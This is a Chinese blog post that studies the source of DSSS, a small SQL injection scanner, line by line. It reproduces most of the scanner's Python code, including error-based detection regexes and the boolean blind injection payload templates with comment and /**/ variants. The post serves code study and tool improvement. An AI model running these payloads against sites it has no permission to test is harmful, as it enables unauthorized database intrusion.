项目地址:https://github.com/stamparm/DSSS

功能:一款小型注入工具

 

代码如下URL:https://github.com/stamparm/DSSS/blob/master/dsss.py

 1 if __name__ == "__main__":
 2     print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
 3     parser = optparse.OptionParser(version=VERSION)
 4     parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.php?id=1\")")
 5     parser.add_option("--data", dest="data", help="POST data (e.g. \"query=test\")")
 6     parser.add_option("--cookie", dest="cookie", help="HTTP Cookie header value")
 7     parser.add_option("--user-agent", dest="ua", help="HTTP User-Agent header value")
 8     parser.add_option("--referer", dest="referer", help="HTTP Referer header value")
 9     parser.add_option("--proxy", dest="proxy", help="HTTP proxy address (e.g. \"http://127.0.0.1:8080\")")
10     options, _ = parser.parse_args()
11     if options.url:
12         init_options(options.proxy, options.cookie, options.ua, options.referer)
13         result = scan_page(options.url if options.url.startswith("http") else "http://%s" % options.url, options.data)
14         print "\nscan results: %s vulnerabilities found" % ("possible" if result else "no")
15     else:
16         parser.print_help()

 

用parser这个库 来加载参数,看到第11行,如果请求的参数中存在url才往下执行这个if命令,否则打印帮助。

看到第12行。用init_options() 这个行数来加载 proxy(代理),cookie,ua,referer。

  

1 def init_options(proxy=None, cookie=None, ua=None, referer=None):
2     globals()["_headers"] = dict(filter(lambda _: _[1], ((COOKIE, cookie), (UA, ua or NAME), (REFERER, referer))))
3     urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler({'http': proxy})) if proxy else None)

解释第二行:globals()  返回的是全局变量的字典,修改其中的内容,值会真正的发生改变。所以在这里修改的是_headers字典的值,接在在看后面的值,看起来好像很复杂,其实用下面四句话就能理解了。

iterable=(('aa', None), ('bb', '22'), ('cc', '33'))
x = lambda _: _[1]
z = dict(item for item in iterable if x(item))
print(z)

判断_[1] 是否为FALSE,FALSE就舍弃。ps:这部分学习到了 还能这么用filter+lambda来操作dict。

往回看到第三行,存在proxy(代理)就添加到handler中去。这个函数讲完了,继续往回追,代码进入到了scan_page()函数中,这个函数应该是重点了。

result = scan_page(options.url if options.url.startswith("http") else "http://%s" % options.url, options.data)

根据逗号判断传了两参数进去 一个是options.url,一个是options.data

 1 def scan_page(url, data=None):
 2     retval, usable = False, False
 3     url, data = re.sub(r"=(&|\Z)", "=1\g<1>", url) if url else url, re.sub(r"=(&|\Z)", "=1\g<1>", data) if data else data
 4     try:
 5         for phase in (GET, POST):
 6             original, current = None, url if phase is GET else (data or "")
 7             for match in re.finditer(r"((\A|[?&])(?P<parameter>[^_]\w*)=)(?P<value>[^&#]+)", current):
 8                 vulnerable, usable = False, True
 9                 print "* scanning %s parameter '%s'" % (phase, match.group("parameter"))
10                 original = original or (_retrieve_content(current, data) if phase is GET else _retrieve_content(url, current))
11                 tampered = current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote("".join(random.sample(TAMPER_SQL_CHAR_POOL, len(TAMPER_SQL_CHAR_POOL))))))
12                 content = _retrieve_content(tampered, data) if phase is GET else _retrieve_content(url, tampered)
13                 for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):
14                     if not vulnerable and re.search(regex, content[HTML], re.I) and not re.search(regex, original[HTML], re.I):
15                         print " (i) %s parameter '%s' appears to be error SQLi vulnerable (%s)" % (phase, match.group("parameter"), dbms)
16                         retval = vulnerable = True
17                 vulnerable = False
18                 for prefix, boolean, suffix, inline_comment in itertools.product(PREFIXES, BOOLEAN_TESTS, SUFFIXES, (False, True)):
19                     if not vulnerable:
20                         template = ("%s%s%s" % (prefix, boolean, suffix)).replace(" " if inline_comment else "/**/", "/**/")
21                         payloads = dict((_, current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote(template % (RANDINT if _ else RANDINT + 1, RANDINT), safe='%')))) for _ in (True, False))
22                         contents = dict((_, _retrieve_content(payloads[_], data) if phase is GET else _retrieve_content(url, payloads[_])) for _ in (False, True))
23                         if all(_[HTTPCODE] and _[HTTPCODE] < httplib.INTERNAL_SERVER_ERROR for _ in (original, contents[True], contents[False])):
24                             if any(original[_] == contents[True][_] != contents[False][_] for _ in (HTTPCODE, TITLE)):
25                                 vulnerable = True
26                             else:
27                                 ratios = dict((_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio()) for _ in (False, True))
28                                 vulnerable = all(ratios.values()) and min(ratios.values()) < FUZZY_THRESHOLD < max(ratios.values()) and abs(ratios[True] - ratios[False]) > FUZZY_THRESHOLD / 10
29                         if vulnerable:
30                             print " (i) %s parameter '%s' appears to be blind SQLi vulnerable (e.g.: '%s')" % (phase, match.group("parameter"), payloads[True])
31                             retval = True
32         if not usable:
33             print " (x) no usable GET/POST parameters found"
34     except KeyboardInterrupt:
35         print "\r (x) Ctrl-C pressed"
36     return retval

 

一句一句来分析:

url, data = re.sub(r"=(&|\Z)", "=1\g<1>", url) if url else url, re.sub(r"=(&|\Z)", "=1\g<1>", data) if data else data
寻找等号后面是&或结尾符 替换成=1 ,整句的意思就是如果存在url就用正则去替换,否则返回url,
  • re.sub(pattern, repl, string, count=0, flags=0)

  • 当repl是一个字符串时,\g<name>对象的是(?p<name>...)\g<number>会使用对应的数字组,因此\g<2>\2是等同的。但是不会引起歧义,例如\g<2>0会被翻译成\20而不是2加上一个字符0\g<0>代替整个匹配的字符串
  • 寻找的时候发现一个python中文文档网站:https://www.rddoc.com/doc/Python/3.6.0/zh/library/

 

for match in re.finditer(r"((\A|[?&])(?P<parameter>[^_]\w*)=)(?P<value>[^&#]+)", current):

大概的意思是匹配以?或&开头的,然后匹配parameter和value,其中parameter为不匹配以下划线_开头的字符串,其中字符串为[a-zA-Z0-9_],value为不包含&和#的字符串。

 

original = original or (_retrieve_content(current, data) if phase is GET else _retrieve_content(url, current))

进入了_retrieve_content()函数,or 后面的这段理解起来就是 如果是GET方式,就返回_retrieve_content(current, data) ,而这里的current为url,data为None
如果是POST方式:返回_retrieve_content(url, current) 这里的url是url,而current为POST_Body,也就是POST过来的数据。

    下面来看_retrieve_content()函数,一次性讲完。

def _retrieve_content(url, data=None):
    retval = {HTTPCODE: httplib.OK}
    try:
        req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in range(len(url))), data, globals().get("_headers", {}))
        retval[HTML] = urllib2.urlopen(req, timeout=TIMEOUT).read()
    except Exception as ex:
        retval[HTTPCODE] = getattr(ex, "code", None)
        retval[HTML] = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
    retval[HTML] = "" if re.search(BLOCKED_IP_REGEX, retval[HTML]) else retval[HTML]
    retval[HTML] = re.sub(r"(?i)[^>]*(AND|OR)[^<]*%d[^<]*" % RANDINT, "__REFLECTED__", retval[HTML])
    match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I)
    retval[TITLE] = match.group("result") if match and "result" in match.groupdict() else None
    retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])
    return retval

--------------------------------------------------------------------------------------
url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in range(len(url)) 生成器:从右往左开始读, 查找第一个?出现的位置并返回索引值,
然后判断?号后面的字符串是否存在空格,空格就替换成%20
globals().get("_headers", {}) 判断是否存在_header字典,不存在返回空{} ,
然后去请求,返回请求后的html_content。
1     retval[HTML] = "" if re.search(BLOCKED_IP_REGEX, retval[HTML]) else retval[HTML]
2     retval[HTML] = re.sub(r"(?i)[^>]*(AND|OR)[^<]*%d[^<]*" % RANDINT, "__REFLECTED__", retval[HTML])
3     match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I)
4     retval[TITLE] = match.group("result") if match and "result" in match.groupdict() else None
5     retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])

接着来了几个判断,如果html_content中有存在BLOCKED_IP_REGEX关键字的话,将html_content设为空''

BLOCKED_IP_REGEX = r"(?i)(\A|\b)IP\b.*\b(banned|blocked|bl(a|o)ck\s?list|firewall)"  #这里可定制国内的防火墙关键字。
retval[HTML] = re.sub(r"(?i)[^>]*(AND|OR)[^<]*%d[^<]*" % RANDINT, "__REFLECTED__", retval[HTML]) #匹配and RANDINT ,其中and RANDINT中间不能有<号,如果匹配到则把匹配到的替换成__REFLECTED__
match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I)  #匹配标题,并且标题中不能出现<号
retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", content) #将大部分的标签替换成空格
最后返回retval赋值给original,最终包含这几个:
HTML,TEXT,TITLE,HTTPCODE

接着继续往下看:

 tampered = current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote("".join(random.sample(TAMPER_SQL_CHAR_POOL, len(TAMPER_SQL_CHAR_POOL))))))
 content = _retrieve_content(tampered, data) if phase is GET else _retrieve_content(url, tampered)

给参数添加额外的随机值,编码额外的随机值 随机值在这四个字符 TAMPER_SQL_CHAR_POOL = ('(', ')', '\'', '"') %22%28%29%27
然后给添加后的随机值参数继续进行url请求

 

 

for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):

DBMS_ERRORS = {                                                                     # regular expressions used for DBMS recognition based on error message response
    "MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
    "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
    "Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."),
    "Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
    "Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"),
    "IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
    "SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
    "Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
}
大概就是轮训每个value,将key对应轮训的value。

接着往下看:

 if not vulnerable and re.search(regex, content[HTML], re.I) and not re.search(regex, original[HTML], re.I):
    print(" (i) %s parameter '%s' appears to be error SQLi vulnerable (%s)" % (phase, match.group("parameter"), dbms))
    retval = vulnerable = True

vulnerable默认为False , 去寻找特殊字符请求的url content,regex出现在content中,还有regex没出现在正常请求的content中,那么就代表存在注入。
并设置retval和vulnerable为True,vulnerable为True以后不再进入这个if判断。

 继续往下:

  for prefix, boolean, suffix, inline_comment in itertools.product(PREFIXES, BOOLEAN_TESTS, SUFFIXES, (False, True)):

PREFIXES = (" ", ") ", "' ", "') ")
BOOLEAN_TESTS = ("AND %d=%d", "OR NOT (%d>%d)")   
SUFFIXES = ("", "-- -", "#", "%%16") 

生成payload,总的是32个组合,64个,

 1 if not vulnerable:
 2     template = ("%s%s%s" % (prefix, boolean, suffix)).replace(" " if inline_comment else "/**/", "/**/")
 3     payloads = dict((_, current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote(template % (RANDINT if _ else RANDINT + 1, RANDINT), safe='%')))) for _ in (True, False))
 4     contents = dict((_, _retrieve_content(payloads[_], data) if phase is GET else _retrieve_content(url, payloads[_])) for _ in (False, True))
 5     if all(_[HTTPCODE] and _[HTTPCODE] < httplib.INTERNAL_SERVER_ERROR for _ in (original, contents[True], contents[False])):
 6         if any(original[_] == contents[True][_] != contents[False][_] for _ in (HTTPCODE, TITLE)):
 7             vulnerable = True
 8         else:
 9             ratios = dict((_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio()) for _ in (False, True))
10             vulnerable = all(ratios.values()) and min(ratios.values()) < FUZZY_THRESHOLD < max(ratios.values()) and abs(ratios[True] - ratios[False]) > FUZZY_THRESHOLD / 10
11     if vulnerable:
12         print(" (i) %s parameter '%s' appears to be blind SQLi vulnerable (e.g.: '%s')" % (phase, match.group("parameter"), payloads[True]))
13         retval = True

 

第二行把inline_comment 为True的空格替换成/**/ ,也就是一半payload是空格,一半payload是/**/

第三行给template 赋随机的数字然后url编码(对%不编码),接着再次分 and 1=1 和and 1=2 然后添加到url参数中,并标记False和True,到现在总的payload有120个

第四行带着and 1=1 和 and 1=2 类似的payload去请求返回contents,其中and 1=1是contents[True], and 1=2是contents[False]

第五行看三个content的返回状态值。如果三次请求中有个状态值大于500就返回False

第六行的判断大概是下面两个,满足其一就代表有注入,通过状态码的不同和标题的不同来判断,也就是正常请求和and 1=1 的请求的状态码一样 and 1=2 的状态码不一样,还有正常请求和and 1=1 的TITLE一样,和 and 1=2不一样。 这里的五六行通过all和any来做选择,可以学一下。

original[HTTPCODE] == contents[True][HTTPCODE] != contents[False][HTTPCODE] 
original[TITLE] == contents[True][TITLE] != contents[False][TITLE] 

 

如果通过第六行对比状态码和标题返回是False的话,那么就对三个content进行对比,返回其相似程度。

 ratios = dict((_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio()) for _ in (False, True))
 vulnerable = all(ratios.values()) and min(ratios.values()) < FUZZY_THRESHOLD < max(ratios.values()) and abs(ratios[True] - ratios[False]) > FUZZY_THRESHOLD / 10

1.两次中每次的相似度都不为0,

2.并且最小的相似度和最大的相似度要在0.95之间,

3.还有就是两者的相似度之差要大于0.095 。

同时满足这三个条件也算是存在注入

 

 

到这里就分析完了,来回想下这个工具的大概思路。

程序运行开始,可能传进来的值总结来说有4个:url,header ,post_data , proxy 。ps:这里能改进的地方就是多穿一个method进来,让程序直接分辨出是GET,POST

然后对其进行参数分割,分两块:

  1.get的参数分割

  2.post_data的参数分割。

分割完如果没有值的参数补上参数值等于1,然后第一次去请求,记录下请求的content值,title值,状态码, content的过滤值(这里指过滤<>里面的值,大概是下面这段正则

retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])

每次的请求都会记录下这四个值,

这时候会对参数添加 ()"' 这四个字符串随机组合,如果返回的页面有存在 DBMS_ERRORS ,那么就存在报错注入,这时候就可以停止后面的检测了,但是他没停下来,改的时候可以注意下这里是否需要停下来不检测后面的。

 

接着就开始生成payload,大概有32个payload,但是不需要都跑完,跑到一次正确的后面的就不用在跑了。

这里他的payload又分为两种:

  1.存在空格的payload

  2.将空格替换成/**/的payload

这时候要请求的payload又变成了64个。

然后请求的时候对 and 1=1 and 1=2 各检测一次来对比,请求有三个。

  1.第一次正常的请求

  2.请求参数加and 1=1

  3.请求参数加and 1=2

1.通过请求这三次的TITLE值来对比, 第一个和第二个相同,第二个和第三个的TITLE值不相同,就判断为注入。

2.通过请求这三次的HTTPCODE值来对比,第一个和第二个相同,第二个和第三个的HTTPCODE值不相同,就判断为注入。

3.如果上面两种方式没通过,通过请求这三次的content的过滤值来对比:

  1.两次中每次的相似度都不为0,

  2.并且最小的相似度和最大的相似度要在0.95之间,

  3.还有就是两者的相似度之差要大于0.095 。

 

上面三种方式有一个通过就算注入。

 

 

如果第一个参数不存在注入,他的payload有64个,那么总的请求数为,1+1+128 = 130次,如果有两个参数都不存在注入,那他的请求数为1+1+128+128 =258 ,还是比较废资源的。

如果用python3.6重写,那么要注意的地方就是上面的请求数量,还有对于多个参数如何去进行请求来加快寻找出注入,盲注怎么来。

简写下思路,一个好的注入工具就是 能准确判断存在注入的前提下,减少对网站的请求数。

 

修改成支持python3.6的,现在就开始写,先发出来。

 

posted on 2018-02-04 18:14  羊小弟  阅读(437)  评论(0编辑  收藏  举报